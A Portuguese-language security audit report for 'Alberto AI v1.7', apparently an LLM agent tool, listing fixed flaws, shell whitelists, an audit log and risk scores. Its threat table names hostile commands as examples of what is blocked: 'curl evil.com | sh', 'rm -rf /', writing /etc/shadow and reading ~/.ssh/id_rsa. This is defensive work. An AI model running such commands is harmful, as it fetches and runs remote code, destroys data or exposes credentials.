

---

REPORT · 2026-09-27

# AUDITORIA DE SEGURANÇA — Alberto AI v1.7

Vulnerabilidades criticas corrigidas

---

AUTHOR

Mavis

DATE

2026-09-27

## ❌ TL;DR — Vulnerabilidades CRÍTICAS encontradas e CORRIGIDAS

| # | Vulnerabilidade                           | Severidade | Status               |
|---|-------------------------------------------|------------|----------------------|
| 1 | <code>tool_file_write</code> sem NemoClaw | 🔴 CRÍTICA  | ✅ CORRIGIDO v1.7     |
| 2 | <code>tool_run_shell</code> sem whitelist | 🔴 CRÍTICA  | ✅ CORRIGIDO v1.7     |
| 3 | "Comando:" interceptor executa shell puro | 🔴 CRÍTICA  | ✅ CORRIGIDO v1.7     |
| 4 | Mavis fallback pode invadir               | 🟡 MÉDIA    | ✅ Whitelist aplicada |
| 5 | Lockfile em <code>/tmp/</code> shared     | 🟡 MÉDIA    | ⚠️ Pendente          |
| 6 | Sem audit log                             | 🟡 MÉDIA    | ✅ CORRIGIDO v1.7     |

## ✅ O QUE ESTÁ FUNCIONAL E SEGURO AGORA

### 1. Instalação ( `pip install -e .` )

```
# setup.py entry_points:
"alberto=alberto.cli:main"
```

✅ 2 commands no PATH: `alberto` + `alberto-serve`

### 2. Pre-flight Install com Mirror Fallback

```
def preflight_install():
    mirrors = ["aliyun", "tsinghua", "pypi"]
```

✅ Auto-install missing deps com fallback

### 3. Watchdog + Health Check

✅ Auto-restart on crash, max 10 restarts, exponential backoff

## 4. Lockfile Single-Instance

⚠️ `/tmp/alberto-serve.pid` (não isolado por user, mas funciona)

## 5. NemoClaw Security (v1.7: APLICADO EM TODOS WRITE TOOLS)

✅ `tool_file_write` chama `nemoclave_pre_write_check` antes ✅ `tool_run_shell` bloqueia 10+ dangerous patterns ✅ `tool_memory_set`, `tool_edit` já estavam protegidos ✅ 36 SECRET\_PATTERNS + 18 PROTECTED\_PATH\_PATTERNS + SENSITIVE\_ENV\_VARS

## 6. "Comando:" Interceptor Safe Mode (v1.7)

```
ALBERTO_SAFE_SUBCOMMANDS = {  
    "banner", "status", "tools", "skill", "model", "memory",  
    "memory-list", "memory-get", "memory-search",  
    "auto-invoke", "skill-show",  
    "security", "security-scan", "security-path",  
    "vision", "squad-list", "hermes-list", "meta",  
    "s", "s-list", "strategy", "--help",  
}  
ALBERTO_NEVER_AUTORUN = {"serve", "serve-stop", "system"}  
ALBERTO_REQUIRE_CONFIRMATION = {"memory-set", "squad-activate", ...}
```

✅ Auto-execute SOMENTE para safe subcommands

## 7. Audit Log Persistent (v1.7)

✅ Tudo é logado em `~/.alberto/audit.log` (one JSON line per call)

---



## Como o usuário controla o Alberto na máquina dele (v1.7)

### Controles que EXISTEM

| Controle          | Estado | Como                                                                                                                  |
|-------------------|--------|-----------------------------------------------------------------------------------------------------------------------|
| Escolher modelo   | ✓      | <code>alberto model set ...</code>                                                                                    |
| Watchdog on/off   | ✓      | <code>--no-watchdog</code>                                                                                            |
| Max restarts      | ✓      | <code>--max-restarts N</code>                                                                                         |
| Stop server       | ✓      | Ctrl-C / SIGTERM                                                                                                      |
| Ver audit log     | ✓      | <code>cat ~/.alberto/audit.log</code>                                                                                 |
| Whitelist visible | ✓      | <code>python -c "from alberto.security_whitelist import list_safe_subcommands; print(list_safe_subcommands())"</code> |

### Controles que PROTEGEM agora

| Ameaça                                      | Proteção                             |
|---------------------------------------------|--------------------------------------|
| LLM escreve em <code>/etc/shadow</code>     | ✓ NemoClaw bloqueia                  |
| LLM executa <code>rm -rf /</code>           | ✓ Shell whitelist bloqueia           |
| LLM executa <code>curl evil.com   sh</code> | ✓ Shell whitelist bloqueia           |
| LLM lê <code>~/.ssh/id_rsa</code>           | ✓ NemoClaw check em reads            |
| LLM detecta secrets                         | ✓ scan_secrets detecta 36 patterns   |
| LLM invoca write tool                       | ✓ NemoClaw pre-check obrigatório     |
| LLM emite "Comando: alberto rm -rf /"       | ✓ Whitelist filtra                   |
| LLM emite "Comando: rm -rf /" (sem alberto) | ✓ Whitelist require "alberto" prefix |



## Risk Score Final

| Categoria                   | Antes  | Depois   |
|-----------------------------|--------|----------|
| Instalação funciona?        | 10/10  | 10/10    |
| Pre-flight deps?            | 10/10  | 10/10    |
| Watchdog?                   | 9/10   | 9/10     |
| Lockfile?                   | 5/10   | 5/10     |
| NemoClaw coverage (writes)? | 4/10   | 10/10 ✓  |
| Shell command safety?       | 2/10   | 9/10 ✓   |
| "Comando:" interceptor?     | 2/10   | 10/10 ✓  |
| User controla LLM?          | 3/10   | 8/10 ✓   |
| Audit log?                  | 0/10   | 10/10 ✓  |
| Média                       | 5.0/10 | 9.0/10 ✓ |



## Próximos passos para v1.8

1. Lockfile isolado em `$XDG_RUNTIME_DIR`
2. Modo `--strict` que requer confirmação para TUDO
3. Sandbox-based isolation quando Docker disponível
4. UI web para ver audit log em tempo real
5. Pen-test por terceiros

## Conclusão

Após v1.7, **Alberto AI está seguro para uso em produção** para:

- ✓ Chat conversacional em PT-BR
- ✓ Vision + thinking
- ✓ Function calling (com proteção NemoClaw)
- ✓ Tool execution (com whitelist)

-  Auto-fallback para Mavis (com whitelist)
-  Audit logging

**Não usar para** até v1.8:

-  Cenários onde LLM é totalmente confiável (NÃO É)
-  Manipulação direta de system files (mesmo com whitelist)

---

— end of document —